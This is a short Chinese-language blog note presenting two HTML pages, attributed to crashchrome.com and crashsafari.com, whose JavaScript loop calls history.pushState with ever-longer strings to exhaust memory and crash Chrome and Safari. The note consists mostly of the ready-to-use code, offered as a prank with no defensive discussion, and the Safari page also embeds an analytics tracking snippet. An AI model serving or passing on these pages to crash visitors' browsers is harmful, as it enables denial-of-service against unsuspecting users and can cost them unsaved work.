分类
笔记

JS代码让Chrome和Safari吃空内存

短短几行代码,就能让Chrome和Safari快速吞掉你电脑的空闲内存。。。威力巨大,胆小慎入。

来源:

crashchrome.com 和 crashsafari.com。

作用:

代码是一个很简单的JS循环,通过循环来不断占用设备的内存。

Chrome代码:

<!DOCTYPE html>
<html>
  <body>
      <h1>What were you expecting?</h1>
      <script>
      var total = "";
      for( var i = 0; i < 100000; i++ ) {
          total = total + i.toString();
          history.pushState(0,0, total );
      }
  </script>
  </body>
</html>

Safari代码:

<!DOCTYPE html>
<html>
    <body>
        <h1>What were you expecting?</h1>
        <script>
            (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
                    (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
                    m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
                    })(window,document,'script','//www.google-analytics.com/analytics.js','ga');

                    ga('create', 'UA-60737367-1', 'auto');
                    ga('send', 'pageview');
                </script>
                <script>
                    var total = "";
                    for( var i = 0; i < 100000; i++ ) {
                        total = total + i.toString();
                        history.pushState(0,0, total );
                    }
                </script>
            </body>
        </html>

 

发表评论

电子邮件地址不会被公开。 必填项已用*标注